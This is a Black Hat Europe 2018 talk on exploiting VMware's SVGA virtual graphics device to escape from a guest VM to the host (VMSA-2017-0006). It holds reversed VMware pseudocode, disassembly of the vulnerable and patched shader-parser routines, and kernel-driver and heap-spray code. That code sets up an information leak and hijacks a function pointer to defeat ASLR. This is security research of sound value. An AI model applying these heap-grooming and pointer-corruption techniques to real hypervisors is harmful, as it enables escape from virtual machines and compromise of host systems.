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Straight outta VMware: Modern exploitation of the SVGA device for guest-to-host escape exploits

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Blackhat Europe 2018


www.census-labs.com

- Computer security researcher at CENSUS
 - RE, exploit development, vulnerability research
- Electrical & Computer Engineering at A.U.Th
- Used to mess with knowledge-based fuzzers
- My twitter handle is @_zisis


AGENDA

- VMware architecture
 - Overview of VMware and SVGA device
 - SVGA3D communication protocol
- Exploitation
 - Exploitation primitives
 - Heap spray, information leak, code execution
 - Real world demo of VMSA-2017-0006
- Conclusion / Q&A

VMWARE ARCHITECTURE




GRAPHICS DEVICE ARCHITECTURE



- The frontend interface communicates with the guest
 - SVGA3D protocol
- The backend interface communicates with the host
 - On a Windows10 host *DX11Renderer* is enabled.
- VMX spawns a thread dedicated for graphics (SVGA thread) which processes SVGA3D commands from
 - SVGA FIFO
 - Command buffers

SVGA DEVICE GUEST POINT OF VIEW

- Common PCI device
- BAR0: I/O port value
- BAR1: physical address of global framebuffer
- BAR2: physical address of the SVGA FIFO



SVGA FIFO

- Explained in detail by Kostya Kortchinsky (Cloudburst, BHUSA09)
- SVGA FIFO is a MMIO region
- Divided in two partitions
 - FIFO registers
 - FIFO data

SVGA FIFO SUBMIT COMMAND

- Place an *SVGA3dCmdHeader* in FIFO data section
- Command's arguments must be placed after the header
- Set to ***SVGA_FIFO_NEXT_CMD*** the offset of the new command (relative to the FIFO data section)

```
typedef struct {  
    uint32 id;  
    uint32 size;  
} SVGA3dCmdHeader;
```

```
typedef struct {  
    uint32 cid;  
} SVGA3dCmdDefineGBContext;
```

SVGA REGISTERS PORT I/O

- SVGA device exposes a few registers
- Can be accessed using the *in*, *out* instructions

```
/* Port offsets, relative to BAR0 */
#define SVGA_INDEX_PORT      0x0
#define SVGA_VALUE_PORT       0x1
```

```
enum {
    SVGA_REG_ID = 0,
    SVGA_REG_ENABLE = 1,
    SVGA_REG_WIDTH = 2,
    SVGA_REG_HEIGHT = 3,
    SVGA_REG_MAX_WIDTH = 4,
    SVGA_REG_MAX_HEIGHT = 5,
    SVGA_REG_DEPTH = 6,
    SVGA_REG_BITS_PER_PIXEL = 7,
    SVGA_REG_PSEUDOCOLOR = 8,
    SVGA_REG_RED_MASK = 9,
    SVGA_REG_GREEN_MASK = 10,
    // ...
};
```

COMMAND BUFFERS

- Two registers must be set to submit a command buffer
 - ***SVGA_REG_COMMAND_HIGH***: upper 32-bit of physical address
 - ***SVGA_REG_COMMAND_LOW***: *lower 32-bit of physical address*
- More info can be found in Linux open-source VMware driver

```
57 typedef enum {
58     SVGA_3D_CMD_LEGACY_BASE          = 1000,
59     SVGA_3D_CMD_BASE                = 1040,
60
61     SVGA_3D_CMD_SURFACE_DEFINE      = 1040,
62     SVGA_3D_CMD_SURFACE_DESTROY    = 1041,
63     SVGA_3D_CMD_SURFACE_COPY       = 1042,
64     SVGA_3D_CMD_SURFACE_STRETCHBLT = 1043,
65     SVGA_3D_CMD_SURFACE_DMA        = 1044,
66     SVGA_3D_CMD_CONTEXT_DEFINE     = 1045,
67     SVGA_3D_CMD_CONTEXT_DESTROY   = 1046,
68     SVGA_3D_CMD_SETTRANSFORM      = 1047,
69     SVGA_3D_CMD_SETZRANGE         = 1048,
70     SVGA_3D_CMD_SETRENDERSTATE    = 1049,
71     SVGA_3D_CMD_SETRENDERTARGET   = 1050,
72     SVGA_3D_CMD_SETTEXTURESTATE   = 1051,
73     SVGA_3D_CMD_SETMATERIAL       = 1052,
74     SVGA_3D_CMD_SETLIGHTDATA      = 1053,
75     SVGA_3D_CMD_SETLIGHTENABLED   = 105
76     SVGA_3D_CMD_SETVIEWPORT       = 10
77     SVGA_3D_CMD_SETCLIPPLANE      = 1
78
79     SVGA_3D_CMD_CLEAR             =
80     SVGA_3D_CMD_PRESENT           =
81     SVGA_3D_CMD_SHADER_DEFINE     =
82     SVGA_3D_CMD_SHADER_DESTROY   =
83     SVGA_3D_CMD_SET_SHADER       =
84     SVGA_3D_CMD_SET_SHADER_CONST =
85     SVGA_3D_CMD_DRAW_PRIMITIVES =
86     SVGA_3D_CMD_SETSCISSORRECT   =
87     SVGA_3D_CMD_BEGIN_QUERY      =
88     SVGA_3D_CMD_END_QUERY        =
89     SVGA_3D_CMD_WAIT_FOR_QUERY   =
90     SVGA_3D_CMD_PRESENT_READBACK =
91     SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN =
92     SVGA_3D_CMD_SURFACE_DEFINE_V2 =
93     SVGA_3D_CMD_GENERATE_MIPMAP =
```

SVGA3D PROTOCOL

OBJECT TABLES

- *Object tables* are used to hold information of SVGA3D objects
- Available objects
 - MOB, surface, context, shader, DXcontext, screentarget
- Stored in *guest* memory
- PPN = Page Physical Number
 - $(\text{physaddr} \gg 0xC)$

```
typedef uint32 PPN;
typedef enum {
    SVGA_OTABLE_MOB          = 0,
    SVGA_OTABLE_MIN           = 0,
    SVGA_OTABLE_SURFACE        = 1,
    SVGA_OTABLE_CONTEXT         = 2,
    SVGA_OTABLE_SHADER          = 3,
    SVGA_OTABLE_SCREENTARGET     = 4,
    SVGA_OTABLE_DX9_MAX         = 5,
    SVGA_OTABLE_DXCONTEXT      = 5,
    SVGA_OTABLE_MAX             = 6
} SVGAOTableType;

typedef struct {
    SVGAOTableType type;
    PPN baseAddress;
    uint32 sizeInBytes;
    uint32 validSizeInBytes;
    SVGAMobFormat ptDepth;
} SVGA3dCmdSetOTableBase;
```

MEMORY OBJECTS

- MOBs are stored in guest memory as well
- They contain raw data used for initialization of the (host-side) SVGA objects.

```
typedef uint32 SVGAMobId;  
  
typedef struct {  
    SVGAMobId mobid;  
    SVGAMobFormat ptDepth;  
    PPN base;  
    uint32 sizeInBytes;  
} SVGA3dCmdDefineGBMob;
```

COMMON SVGA OBJECTS

- Objects
 - Context
 - DXContext
 - Shader
 - Surface
 - Screenshottarget
- Operations
 - Define
 - Bind
 - Destroy
 - Readback

DEFINE CONTEXT

```
1341     typedef
1342     #include "vmware_pack_begin.h"
1343     struct {
1344         uint32 cid;
1345         SVGAMobId mobid;
1346     }
1347     #include "vmware_pack_end.h"
1348     SVGAOTableContextEntry;
1349     #define SVGA3D_0TABLE_CONTEXT_ENTRY_SIZE (sizeof(SVGAOTableContextEntry))
```

```
INT MySVGA3DCmd_DefineGBContext(VOID *SVGAArg) {
    SVGAOTableContextEntry *ContextEntry;
    SVGA3dCmdDefineGBContext ContextArg;

    MySVGA_CopyFromFIFOToBuffer(SVGAArg, &ContextArg)
    ContextEntry = MySVGA_GetEntryFromOTable(SVGA_0TABLE_CONTEXT, ContextArg.cid, ...);

    if (ContextEntry->cid == SVGA_INVALID_ID) { // entry is empty ;
        ContextEntry->cid = ContextArg.cid;
        ContextEntry->mobid = SVGA_INVALID_ID;
    }
}
```

BIND CONTEXT

```
INT MySVGA3DCmd_BindGBContext(VOID *SVGAArg) {
    SVGAOTableContextEntry *ContextEntry;
    SVGAOTableMobEntry *MobEntry;
    SVGA3dCmdBindGBContext BindArg;
    VOID *MobData;

    MySVGA_CopyFromFIFOToBuffer(SVGAArg, &BindArg);
    ContextEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_CONTEXT, BindArg.cid, ...);

    if (BindArg.mobid != SVGA_INVALID_ID) {
        MobEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_MOB, BindArg.mobid, ...);

        if (MobEntry->sizeInBytes < 0x4000) goto _error;

        ContextEntry->mobid = BindArg.mobid;

        MobData = MySVGA_GetMOBFromContext(BindArg.cid, ...);

        if (!BindContextArg.validContents)
            MySVGA_InitializeContextMobContents(MobData);

    } else {
        // ...
    }
}
```

DESTROY CONTEXT

```
INT MySVGA3DCmd_DestroyGBContext(VOID *SVGAArg) {
    SVGAOTableContextEntry *ContextEntry;
    SVGA3dCmdDestroyGBContext DestroyArg;
    SVGA_Context *Context;

    MySVGA_CopyFromFIFOToBuffer(SVGAArg, &DestroyArg);

    Context = MySVGA_FindContext(DestroyArg.cid);

    if (Context != NULL) MySVGA_DestroyContext(Context);

    ContextEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_CONTEXT, DestroyArg.cid, ...);

    if (ContextEntry && ContextEntry->cid != SVGA_INVALID_ID) {
        ContextEntry->cid = ContextEntry->mobjid = SVGA_INVALID_ID;
    }
}
```



EXPLOITATION
PRIMITIVES

HEAP
SPRAYING

SHADERS

- Define a shader
- Define a MOB
 - MOB will contain shader's data (i.e bytecode)
- Bind the shader with the MOB
- Set shader to a context
 - VMware will allocate a buffer on the host side to store the bytecode

```
typedef enum {
    SVGA3D_SHADERTYPE_INVALID = 0,
    SVGA3D_SHADERTYPE_MIN = 1,
    SVGA3D_SHADERTYPE_VS = 1,
    SVGA3D_SHADERTYPE_PS = 2,
    SVGA3D_SHADERTYPE_PREDX_MAX = 3,
    SVGA3D_SHADERTYPE_GS = 3,
    SVGA3D_SHADERTYPE_DX10_MAX = 4,
    SVGA3D_SHADERTYPE_HS = 4,
    SVGA3D_SHADERTYPE_DS = 5,
    SVGA3D_SHADERTYPE_CS = 6,
    SVGA3D_SHADERTYPE_MAX = 7
} SVGA3dShaderType;

typedef struct SVGA3dCmdDefineGBShader {
    uint32 shid;
    SVGA3dShaderType type;
    uint32 sizeInBytes;
} SVGA3dCmdDefineGBShader;

typedef struct SVGA3dCmdBindGBShader {
    uint32 shid;
    SVGAMobId mobid;
    uint32 offsetInBytes;
} SVGA3dCmdBindGBShader;

typedef struct {
    uint32 cid;
    SVGA3dShaderType type;
    uint32 shid;
} SVGA3dCmdSetShader;
```

ANALYSIS OF
SVGA_3D_CMD_SET_SHADER

```
INT MySVGA3DCmd_SetShader(VOID *SVGAArg) {
    SVGA3dCmdSetShader SetShaderArg;
    SVGA_Context *Context;
    SVGA_Shader *Shader;

    MySVGA_CopyFromFIFOToBuffer(SVGAArg, &SetShaderArg);

    Context = MySVGA_GetOrCreateContext(SetShaderArg.cid);

    if (!Context
        || SetShaderArg.type >= SVGA3D_SHADERTYPE_PREDX_MAX
        || SetShaderArg.shid == SVGA_INVALID_ID) goto _error;

    Shader = MyFindItemByIndexInList(SVGA_ShaderList, SetShaderArg.shid, ...);

    if (Shader == NULL)
        Shader = MySVGA_CreateNewShader(SetShaderArg.shid, SetShaderArg.type);

    // ...
}
```

ANALYSIS OF SVGA3D CMD SET_SHADER

```
SVGA_Shader *MySVGA_CreateNewShader(UINT32 ShaderId, UINT32 ShaderType) {
    SVGAOTableShaderEntry *ShaderEntry;
    VOID *Data, Temp;

    ShaderEntry = MySVGA_GetEntryFromOTable(SVGA_OTABLE_SHADER, ShaderId, ...);
    if (ShaderEntry->sizeInBytes > 0xFFFF || ShaderEntry->sizeInBytes & 3) goto _error;

    Data = MySVGA_GetMOBAtOffset(ShaderEntry->MobId, ..., ShaderEntry->offsetInBytes);
    if (Data) {
        Temp = malloc(ShaderEntry->sizeInBytes);
        memcpy(Temp, Data, ShaderEntry->sizeInbytes);
        Shader = MySVGA_BuildNewShader(ShaderId, ShaderId, Temp,
                                       ShaderEntry->type, ShaderEntry->sizeInBytes);
        free(Temp);
    }


    return Shader;
}
```

```
SVGA_Shader *MySVGA_BuildNewShader(UINT32 ShaderId, UINT32 ShaderId2, VOID *Buffer, UINT32 type, UINT32 size) {
    VOID *ShaderBytecode = malloc(size);
    memcpy(ShaderData, Buffer, size);
    Global_MemoryOccupiedByShaders += size;

    SVGA_Shader *Shader = MyAllocateAndImportToList(MySVGA_ShaderList, ShaderId);
    Shader->Buffer = ShaderBytecode;
    Shader->BufferSize = size;
    return Shader;
}
```

HEAP SPRAYING SUMMARY

- On a single `SVGA_3D_SET_SHADER` command two allocations of the requested size will be performed
 - The first one is freed immediately
 - The latter is freed when the guest destroys that shader
- VMware keeps track of the total shader allocation size.
 - Must be \leq 8MB
- Guest is able to define and set as many shaders fit in the shader object table



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EXPLOITATION
PRIMITIVES

SURFACES & RESOURCE
CONTAINERS

INFORMATION LEAK &
CODE EXECUTION

SURFACE OBJECT




- Surface definition
 - All host VRAM resources, including 2D textures, 3D textures, cube environment maps, render targets and vertex/index buffers are represented using a homogeneous surface abstraction.
- Surface is an object of the frontend interface

```
typedef struct SVGA3dCmdDefineGBSurface {  
    uint32 sid;  
    SVGA3dSurfaceFlags surfaceFlags;  
    SVGA3dSurfaceFormat format;  
    uint32 numMipLevels;  
    uint32 multisampleCount;  
    SVGA3dTextureFilter autogenFilter;  
    SVGA3dSize size;  
} SVGA3dCmdDefineGBSurface;
```

RESOURCE CONTAINERS

- Resource container is an object of the backend (DX11Renderer)
- It is often associated with surface object



RESOURCE CONTAINER

- In VMware 14 there are ten different types of RC
 - We will focus on type 1
- Type depends on the arguments that the surface was defined
- Likewise to other SVGA objects, VMware creates a RC *only* when they are going to be used (lazy allocation)

```
struct ResourceContainer1 {  
    DWORD RCType;  
    /* ... */  
  
    //+0x20  
    DWORD Format;  
    /* ... */  
  
    //+0x30  
    SVGA3dSize Dimensions;  
    /* ... */  
  
    //+0xF0  
    FUNCPTR Fini;  
    FUNCPTR Init;  
    FUNCPTR GetDataBuffer;  
  
    //+0x120  
    PVOID DataPtr;  
}
```

SURFACE COPY

- **SVGA_3D_CMD_SURFACE_COPY** copies parts (three dimensional boxes) from the source to the destination surface

```
typedef struct SVGA3dCopyBox {  
    uint32          x;  
    uint32          y;  
    uint32          z;  
    uint32          w;  
    uint32          h;  
    uint32          d;  
    uint32          srcx;  
    uint32          srcy;  
    uint32          srcz;  
};  
  
typedef struct SVGA3dSurfaceImageId {  
    uint32          sid;  
    uint32          face;  
    uint32          mipmap;  
};  
  
typedef struct {  
    SVGA3dSurfaceImageId  src;  
    SVGA3dSurfaceImageId  dest;  
    /* Followed by variable number of SVGA3dCopyBox structures */  
} SVGA3dCmdSurfaceCopy;
```

```
INT MySVGA3DCmd_SurfaceCopy(VOID *SVGAArg) {
    SVGA_Surface *SrcSurface, *DstSurface;
    SVGA3dCmdSurfaceCopy SurfaceCopyArgument;
    SVGACopyBox *CopyBoxes;

    MySVGA_CopyFromFIFOToBuffer(SVGAArg, &SurfaceCopyArgument);
    CopyBoxes = // copy from SVGA FIFO into stack and set CopyBoxes to point into it

    SrcSurface = MySVGA_GetOrCreateSurface(SurfaceCopyArgument.src.sid);
    DstSurface = MySVGA_GetOrCreateSurface(SurfaceCopyArgument.dst.sid);

    // Ensure that ALL copyboxes are inside the boundaries of the dimensions
    // of the two surfaces
    // ...

    if (SrcSurface->ResourceContainerIndex != SVGA_INVALID_ID) {
        if (DstSurface->ResourceContainerIndex == SVGA_INVALID_ID) {
            for (unsigned i = 0; i < NumberOfCopyBoxes; i++) {
                MySVGA_CopySurfaceResourceToMOB(SurfaceCopyArgument.src.sid,
                                                SurfaceCopyArgument.dst.sid, &CopyBoxes[i]);
            }
        } else {
            // ...
        }
    } else {
        // ...
    }
}
```

```
struct ResourceImage {
    UINT32 ResourceIndex;
    // ...
};

struct MappedResource {
    UINT32 SurfaceFormat;
    SVGA3dSize Dimensions;
    UINT32 RowPitch;
    UINT32 DepthPitch;
    VOID *DataPtr;
}
```

```
INT MySVGA_CopySurfaceResourceToMOB(UINT32 SrcSid, UINT32 DstSid, SVGA3dCopyBox *Copybox) {
    ResourceImageId rimg;
    MappedResource *dst;
    SVGA_Surface *SrcSurface = MyFindItemByIndexInList(SVGA_SurfaceList, SrcSid, ...);
    rimg.ResourceIndex = SrcSurface->ResourceIndex;
    MySVGA_BuildMappedResourceFromMOBBackedSurface(DstSid, &dst, ...);
    // ...
    if (dst->DataPtr != NULL) { // points to guest memory
        EnabledBackendRendererCallback_CopyResourceToMOB(rimg, dst, CopyBox);
    }
}
```

```
INT MyDX11Renderer_CopyResource(ResourceImage *rimg,
                                MappedResource *MappedMob, SVGA3dCopyBox *CopyBox) {
/* ... */
    SVGA3dBox SourceBox;
    MyDX11MappedResource DX11MappedResource;

    SourceBox.x = CopyBox.srcx;
    SourceBox.y = CopyBox.srcy;
    SourceBox.z = CopyBox.srcz;
    SourceBox.w = CopyBox.w;
    SourceBox.h = CopyBox.h;
    SourceBox.d = CopyBox.d;

    DX11Renderer->MapSubresourceBox(rimg->ResourceIndex, &SourceBox,
                                     TRUE, &DX11MappedResource);

    /* now copy from DX11MappedResource->DataPtr to MappedMob->DataPtr */
    MySVGA_CopyResourceImpl(DX11MappedResource, MappedMob, CopyBox);
}
```

MAP SUBRESOURCE

```
VOID MyDX11Resource_MapSubresourceBox(
    ResourceImageId *rimg, SVGA3dBox *Box, BOOLEAN b, DX11MappedResource *Output) {

    UINT64 Offset = 0;
    D3D11_MAPPED_SUBRESOURCE pMappedResource;
    ResourceContainer *rc = GlobalResourceContainerList[rimg->ResourceIndex];
    Output->RowPitch = MySVGA_CalculateRowPitch(SVGA_SurfaceFormatCapabilities, &rc->Dimensions);
    MySVGA_SetDepthPitch(Output);

    if (rc->RCtype == 3) { /* ... */ }
    else if (rc->RCtype == 4) { /* ... */ }
    else {
        MyDX11Resource_Map(RC, /* ... */, box, &pMappedResource);
        //...
        RC->GetDataBuffer(RC, pMappedResource->Data, Output->RowPitch, pMappedResource->DepthPitch, Output);

        if (box) {
            Offset = box->z * Output->DepthPitch;
            Offset += box->y * Output->RowPitch;
            Offset += box->x * SVGA_SurfaceFormatCapabilities[rc->SurfaceFormat].off14;

            Output->DataPtr += Offset;
        }
    }
}
```

RC->GETDATABUFFER FUNCPTR

```
VOID MyRC1_GetDataBuffer(ResourceContainer *RC, VOID *Data,
    UINT32 RowPitch, UINT32 DepthPitch, DX11MappedResource *Output)
{
    UINT32 NewRowPitch, NewDepthPitch;
    NewRowPitch = MySVGA_CalcRowPitch(SurfaceFormatCapabilities[RC->SurfaceFormat], &Output->Dimensions);
    NewDepthPitch = MySVGA_CalcRowPitch(SurfaceFormatCapabilities[RC->SurfaceFormat], &Output->Dimensions);

    if (RC->DataBuffer == NULL) {
        TotalDataBufferSize = MySVGA_CalcTotalSize(SurfaceFormatCapabilities[RC->SurfaceFormat],
            &Output->Dimensions, NewRowPitch);
        RC->DataBuffer = MyMKSMemMgr_ZeroAllocateWithTag(ALLOC_TAG, 1, TotalDataBufferSize);
    }
    // ...
    if /* ... */ {
        // Copy input `Data` to `rc->Databuffer`
        MySVGA_CopyResourceImpl(/*...*/);
    }

    Output->RowPitch = NewRowPitch;
    Output->DepthPitch = NewDepthPitch;
    Output->DataPtr = RC->DataBuffer;
}
```

ATTACKING VMWARE

- Resource containers are very attractive for an attacker, since they
 - can be allocated multiple times
 - contain pointers to heap
 - contain dimension fields
 - contain function pointers



ATTACKING VMWARE

- Assume having a memory corruption bug
- Consider the following surface
 - Width = **0x45**
 - Height = **0x2**
 - Depth = **0x1**
 - Surface format = **SVGA3D_A4R4G4B4**
- Since the surface format requires two bytes for each pixel, the total size of the RC->DataBuffer will be
 $0x45 * 0x2 * 0x1 * 2 = 0x114$ bytes.

ATTACKING VMWARE

- Corrupt width of RC with a greater value
 - Rowpitch will also be affected
- Box must be in boundaries due to the checks at frontend
- DataPtr will point after the end of the buffer

```
MyDX11Resource_Map(RC, /* ... */, box, &pMappedResource);
//...
RC->GetDataBuffer(RC, pMappedResource->Data, Output->RowPitch, pMappedResource->DepthPitch, Output);

if (box) {
    Offset = box->z * Output->DepthPitch;
    Offset += box->y * Output->RowPitch;
    Offset += box->x * SVGA_SurfaceFormatCapabilities[rc->SurfaceFormat].off14;

    Output->DataPtr += Offset;
}
```

AVOIDING THE PITFALL


- *MyDX11Resource_MapSubresourceBox* will refresh the contents of the DataBuffer with the contents of the GPU
 - This will trash the data that we want to write back to the guest
- This can be avoided by corrupting and decreasing the value of height
 - RC->GetDataBuffer() will silently fail but the surface copy command will continue

INFORMATION LEAK AND CODE EXECUTION

- If a *new* RC is placed after the DataBuffer we can leak its function pointers
 - LFH chunks are placed next to each other
- Once the attacker has vmware-vmx base address, he/she can corrupt the RC->GetDataBuffer function pointer and issue a the surface-copy command once again

ATTACKING VMWARE SUMMARY

To leak data back to guest, increase the width and decrease the height



Once the base address is known, corrupt the GetDataBuffer function pointer




THE BUG

- Multiple vulnerabilities located in SM4 bytecode parser
- Fixed at version 12.5.5 of VMware
 - I patched vmware-vmx.exe to reintroduce the vulnerability on 14.1.3
- I developed an escape exploit which consists of two parts (userland application, kernel driver)

DETAILS OF THE VULNERABILITIES

- A malicious DXShader must be set to a *DXContext* (SVGA3D_CMD_DX_SET_SHADER)
- A call to SVGA3D_CMD_DX_DRAW will trigger the shader bytecode parser
- During the *draw* call a buffer of **0x26D80** be allocated and values from the bytecode
 - will be used as index to access that buffer
 - will be stored in that buffer

VULNERABLE VERSION 12.5.4 DCL_CONSTANTBUFFER (59H)




rcx points to buffer (0x26d80)

r8 and rax values are taken directly from shader bytecode

```
sub_14024B2B0 proc near
    mov     eax, edx
    [rcx+rax*8+1EBE0h], r8d
    byte ptr [rcx+rax*8+1EBE4h], 1
    retn
sub_14024B2B0 endp
```

PATCHED VERSION 12.5.5 DCL_CONSTANTBUFFER (59H)

Edx value is taken from bytecode
Patch: edx must be below 0x10




```
sub_14024B3C0 proc near
sub    rsp, 28h
cmp    edx, 10h
jb     short loc_14024B3E3
```

```
lea    rdx, aBoraMksLibStat ; "bora\\mks\\lib\\stateFFP\\vmgiEmit.c"
lea    rcx, aVerifySD   ; "VERIFY %s:%d\n"
mov    r8d, 346h
call   MyPanicError
```

```
loc_14024B3E3:
mov    eax, edx
mov    [rcx+rax*8+1EBE0h], r8d
mov    byte ptr [rcx+rax*8+1EBE4h], 1
add    rsp, 28h
retn
sub_14024B3C0 endp
```

VULNERABLE VERSION 12.5.4 DCL_INDEXRANGE (5B)




```
sub_14024CA30 proc near

    arg_20= dword ptr 28h

    44 8B 91 70 6C 02 00    mov     r10d, [rcx+26C70h]
    8B 44 24 28             mov     eax, [rsp+arg_20]
    0F BA EA 1F             bts     edx, 1Fh
    4D 03 D2               add     r10, r10
    42 89 94 D1 74 6C 02 00 mov     [rcx+r10*8+26C74h], edx
    46 89 84 D1 78 6C 02 00 mov     [rcx+r10*8+26C78h], r8d
    46 89 8C D1 7C 6C 02 00 mov     [rcx+r10*8+26C7Ch], r9d
    42 89 84 D1 80 6C 02 00 mov     [rcx+r10*8+26C80h], eax
    FF 81 70 6C 02 00       inc     dword ptr [rcx+26C70h]
    C3                     retn
    sub_14024CA30 endp
```

Values of r8, r8,
eax are taken
from the shader
bytecode

PATCHED VERSION 12.5.5 DCL_INDEXRANGE (5B)




Patch: eax (taken from bytecode) must be less than 0x10

```
sub_14024CBF0 proc near
arg_20= dword ptr 28h
sub    rsp, 28h
mov    eax, [rcx+26C70h]
mov    r10, rcx
cmp    eax, 10h
jb     short loc_14024CC1C
```

```
lea    rdx, aBoraMksLibStat ; "bora\\mks\\lib\\stateFFP\\vmgiEmit.c"
lea    rcx, aVerifySD  ; "VERIFY %s:%d\n"
mov    r8d, 7E3h
call   MyPanicError
```

```
loc_14024CC1C:
mov    rcx, rax
mov    eax, [rsp+28h+arg_20]
bts   edx, 1Fh
add   rcx, rcx
mov    [r10+rcx*8+26C74h], edx
mov    [r10+rcx*8+26C78h], r8d
mov    [r10+rcx*8+26C7Ch], r9d
mov    [r10+rcx*8+26C80h], eax
inc    dword ptr [r10+26C70h]
add    rsp, 28h
retn
sub_14024CBF0 endp
```



PRISON BREAK

THE EXPLOIT

DRIVER ENTRY


- Use HAL to retrieve BARs
- Required for port I/O and MMIO for the SVGA device

```
HalGetBusDataByOffset(PCIConfiguration, 0, PCISlotNumber.u.AsULONG,
    &PCIHeader, 0, sizeof(PCI_COMMON_HEADER));
/* Used for Port I/O communication between the current driver and SVGA device. */
gSVGA.ioBase = PCIHeader.u.type0.BaseAddresses[0];
gSVGA.ioBase &= 0xFFFF;
DbgPrint("ioBase = 0x%x\n", gSVGA.ioBase);

gSVGA fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE);
DbgPrint("fifoSize = 0x%x\n", gSVGA.fifoSize);

/* BAR2 contains the physical address of the SVGA FIFO. */
PhysAddr.QuadPart = PCIHeader.u.type0.BaseAddresses[2];
gSVGA.fifoMem = (UINT32 *)MmMapIoSpace(PhysAddr, gSVGA.fifoSize, MmNonCached);
DbgPrint("fifoMem = %p\n", gSVGA.fifoMem);
```

INIT_SVGA_IOCTL



SETTING UP THE SVGA

- SVGA FIFO initialization
- Object table definition

```
FIFORegisterSize = SVGA_ReadReg(SVGA_REG_MEM_REGS);
DbgPrint("SVGA_REG_MEM_REGS = 0x%x\n", FIFORegisterSize);

FIFORegisterSize <= 2;

if (FIFORegisterSize < PAGE_SIZE)
    FIFORegisterSize = PAGE_SIZE;


DbgPrint("FIFORegisterSize = 0x%x\n", FIFORegisterSize);

gSVGA fifoMem[SVGA_FIFO_MIN] = FIFORegisterSize;
gSVGA fifoMem[SVGA_FIFO_MAX] = gSVGA fifoSize;
KeMemoryBarrier();
gSVGA fifoMem[SVGA_FIFO_NEXT_CMD] = FIFORegisterSize;
gSVGA fifoMem[SVGA_FIFO_STOP] = FIFORegisterSize;
gSVGA fifoMem[SVGA_FIFO_BUSY] = 0;
KeMemoryBarrier();

SVGA_WriteReg(SVGA_REG_CONFIG_DONE, 1);


if (DefineOTables())
    ntStatus = STATUS_NO_MEMORY;
```

LEAK_VMX_ADDR_IOCTL



PREPARE MEMORY LAYOUT


- Allocate a big chunk that will be occupied later by the allocation at ***SVGA3D_CMD_DX_DRAW***
- Repeatedly allocate a shader of size 0x150




0x26D80

PREPARE MEMORY LAYOUT

- Allocate a big chunk that will be occupied later by the allocation at *SVGA3D_CMD_DX_DRAW*
- Repeatedly allocate a shader of size 0x150



0x26D80



LFH 0x150

PREPARE MEMORY LAYOUT

- Replace all 0x150-size heap chunks with RC1


```
for (UINT32 x = 0; x < NUMBER_SPRAY_ELEMENTS; x++) {
    // free the buffer allocated before
    DestroyShader(SprayShaderIds[x]);

    DstSurfaceId = GetAvailableSurfaceId();
    SVGA3D_DefineGBSurface(DstSurfaceId,
        (SVGA3dSurfaceFlags)SVGA3D_SURFACE_ALIGN16,
        SVGA3D_A4R4G4B4, 1, 0,
        SVGA3D_TEX_FILTER_NONE, &size3d);

    // surface copy will allocate a RC1, one of them should eventually
    // reclaim the address of the freed buffer
    SVGA3D_SurfaceCopy(TempSurfaceId, 0, 0, DstSurfaceId, 0, 0, NULL, 0);
}
```

0x26D80

LFH 0x150 (RC1)




PREPARE MEMORY LAYOUT


```
for (UINT32 x = 0; x < NUMBER_SPRAY_ELEMENTS; x++) {
    // Allocate the ResourceContainer->DataBuffer (offset 0x120)
    SVGA3D_SurfaceCopy(SurfaceIds[x], 0, 0, OutputSurfaceId, 0, 0, CopyBox,
        sizeof(SVGA3dCopyBox));
    // We should place after DataBuffer a RC0 to leak the function pointer stored inside
    // For one DataBuffer allocate four RC0 to defeat the randomness of Win10 LFH allocator
    for (unsigned j = 0; j < 4; j++) {
        DstSurfaceId = GetAvailableSurfaceId();
        SVGA3D_DefineGBSurface(DstSurfaceId, (SVGA3dSurfaceFlags)SVGA3D_SURFACE_ALIGN16,
            SVGA3D_A8R8G8B8, 1, 0, SVGA3D_TEX_FILTER_NONE, &size3d);
        // Allocate a new resource container (type 0)
        SVGA3D_SurfaceCopy(TempSurfaceId, 0, 0, DstSurfaceId, 0, 0, NULL, 0);
    }
}
```

PREPARE MEMORY LAYOUT


- Databuffers
- ResourceContainer type 0



FREE THE SHADER




TRIGGER THE VULNERABILITY




COPY SURFACES BACK TO GUEST

- Copy surfaces to guest until encounter the corrupted RC1



COPY THE FUNCTION POINTER


- Corrupt *RC->GetDataBuffer* with the first ROP gadget




HONEY, I DEFEATED ASLR

- Payload is stored in a buffer allocated by RPC interface
- Not much time to talk about RPC (google for more info)
- In short, guest user can allocate a buffer with controllable contents on the host process
- The address of the buffer is stored in a global variable (data section)
 - Since base address is known, we can use this ;)


YAY, WE GOT THE BASE ADDRESS



YAY, WE GOT THE BASE ADDRESS



ESCAPE!





DEMO

BLACK HAT SOUND BYTES

- Brief high level overview of the VMware architecture and the SVGA device
- Reusable exploitation primitives for VMware
 - Heap spray, information leak and code execution
- SVGA is amazingly complex so expect more bugs
- VMware Workstation 15 has been released recently
 - A few things have changed (CFI mitigation)

REFERENCES

- Cloudburst - Kostya Kortchinsky, BHUSA 2009
- GPU Virtualization on VMware's Hosted I/O Architecture - Micah Dowty, Jeremy Sugerman
- Wandering through the Shady Corners of VMware Workstation/Fusion - ComSecuris, Nico Golde, Ralf-Philipp Weinmann
- L'art de l'evasion: Modern VMWare Exploitation Techniques - Brian Gorenc, Abdul-Aziz Hariri, Jasiel Spelman, OffensiveCon 2018
- The great escapes of Vmware: A retrospective case study of Vmware guest-to-host escape vulnerabilities – Debasish Mandal & Yakun Zhang, BHEU 2017
- Linux kernel driver (vmwgfx) is a treasure!
- **Special thanks fly to: Nick Sampanis, Aris Thallas, Sotiris Papadopoulos**

